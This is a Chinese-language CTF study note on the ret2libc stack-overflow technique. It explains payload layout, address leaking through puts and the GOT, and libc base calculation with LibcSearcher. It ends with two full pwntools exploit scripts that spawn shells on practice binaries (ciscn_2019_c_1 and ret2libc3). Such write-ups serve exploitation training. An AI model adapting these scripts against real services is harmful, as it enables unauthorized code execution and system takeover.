一、原理
- payload = padding1 + address of system() + padding2 + address of “/bin/sh”
-
Padding1 随意填充, == 长度刚好覆盖基地址 == 长度与shellcode处的一样的方法
-
address of system() 是system在内存中的地址,用来覆盖返回地址
-
system()函数地址在哪里?
从动态库中获取,计算绝对地址
-
-
padding2 数据长度应该为 4 (32位机) 由于不关心退出shell后的行为,可随意填⚠️当需要多次绕过时,这里应该填充system执行后需要返回的地址,否则程序栈会崩溃
-
address of ”/bin/sh“ 是字符串在内存中的地址,作为传给system的参数
-
字符串哪里找?
动态库搜索,计算绝对地址没有就将其加入环境变量,通过getenv()函数获取
-
-
执行条件指向内存中的函数(操作系统关闭ASLR)
-
获取libc中的system函数的地址,使用gdb,给main函数打上断点,然后使用
p system
该方法可以获取任意libc函数的地址
-
设置system函数返回后的地址,以及为system函数构造我们预定的参数
-
由于我们使用system的函数地址替换了原本的ip寄存器,强制执行了system函数.破坏了原程序栈桢分配和释放策略,所以后续的操作必须基于这个被破坏的栈桢结构来实现
-
例如下面的payload中的padding2的操作应该是pop ip,也就是system函数调用完成后需要返回的地址
- 为什么呢?
- 因为在正常情况下,函数是通过call进行调用的,因此在进入system前,call指令已经通过push ip将返回地址push到函数调用栈中,所以在正常情况下ret指令pop到ip的数据就是call指令push到栈中的数据,也就是说两者是成对出现的
- 但是!!!由于我们是直接通过覆盖ip的地址从而跳转到system函数,并没有经过call指令的调用,也就是并没有push ip的操作,但是system函数却照常执行了ret指令的pop ip的操作.
- 因此,ret 指令pop到ip中的到底是哪一处的数据呢,答案就是padding2中的数据,也就是我们自己设定的system函数的返回地址
- 为什么呢?
-
知道了system部分的payload,那么如何获得system的地址以及bin/sh的地址呢?
-
可以通过puts与gets函数,gets造成溢出,puts泄漏libc中的system以及/bin/sh的地址
-
bin在so文件中的地址
-
strings -t x libc.so | grep bin
-
-
可执行的system(“/bin/sh”)在so文件中的地址
-
one_gadget libc.so
-
-
-
由于我们可以控制栈,根据rop的思想,我们需要找到的就是pop rdi;ret 前半段用于给第一个参数rdi赋值,后半段用于跳到其他代码片段
-
如何找到可以赋值的参数呢?
-
可以通过,ROPgadget,这里的值通常是固定的0x400833
ROPgadget --binary file_name --only "pop|ret" | grep rdi
-
-
-
因此我们可以构造payload泄漏出puts函数的真实地址
-
-
有了真实地址,我们还需要知道程序使用的libc,算出libc的基址
-
这里可以使用LibcSearcher
from LibcSearcher import * #第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型 obj = LibcSearcher("fgets", 0X7ff39014bd90)
-
知道了程序使用的libc,以及puts函数的真实地址,我们就可算出libc的基址,再通过基址加偏移就能得到函数的真实地址
libc_base = 0X7ff39014bd90 - obj.dump("fgets") obj.dump("system") #system 偏移 obj.dump("str_bin_sh") #/bin/sh 偏移 #system的真实地址 system_addr =libc_base + obj.dump("system")
-
这里有可能会遇到,匹配不到libc的错误,可以通过libc-database,添加libc
./get # List categories ./get ubuntu debian # Download Ubuntu's and Debian's libc, old default behavior ./get all # Download all categories. Can take a while! #或者添加自身的libc ./add /usr/lib/libc-2.21.so
-
二、例题
1. buooj - ciscn_2019_c_1(64 位)
from pwn import *
#p = remote('node3.buuoj.cn',28190)
p = process('./ciscn_2019_c_1')
context.log_level = 'debug'
puts_plt = 0x4006e0
puts_got = 0x602020
gets_got = 0x602050
pop_rdi = 0x0000000000400c83
main = 0x4009a0
#step 1 泄露puts函数的真实地址
payload = b'\x00'*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter('Input your choice!\n',str(1))
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
puts = u64(p.recv()[12:18].ljust(8,b'\x00'))
log.success("puts==>"+str(hex(puts)))
from LibcSearcher import *
#step 2 搜索该程序使用的libc版本,并找到内存中的system以及bin/sh
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
ret = 0x4006b9
# step 3 构造system函数
payload = b'\x00'*0x58 + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main)
p.sendline(payload)
p.interactive()
2. ctfwiki - ret2libc3(32 位)
from pwn import *
p = process('./ret2libc3')
context.log_level = 'debug'
puts_plt = 0x8048460
puts_got = 0x804a018
main = 0x8048618
# 泄露 puts函数的内存中地址
payload = b'a'*112 + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendlineafter('Can you find it !?',payload)
puts = u32(p.recv()[:4])
log.success("puts==>" + str(hex(puts)))
from LibcSearcher import *
# 查找该程序对应的libc版本号
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
# 构造system函数调用
payload = b'a'*104 + p32(system) + p32(main) + p32(bin_sh)
p.send(payload)
p.interactive()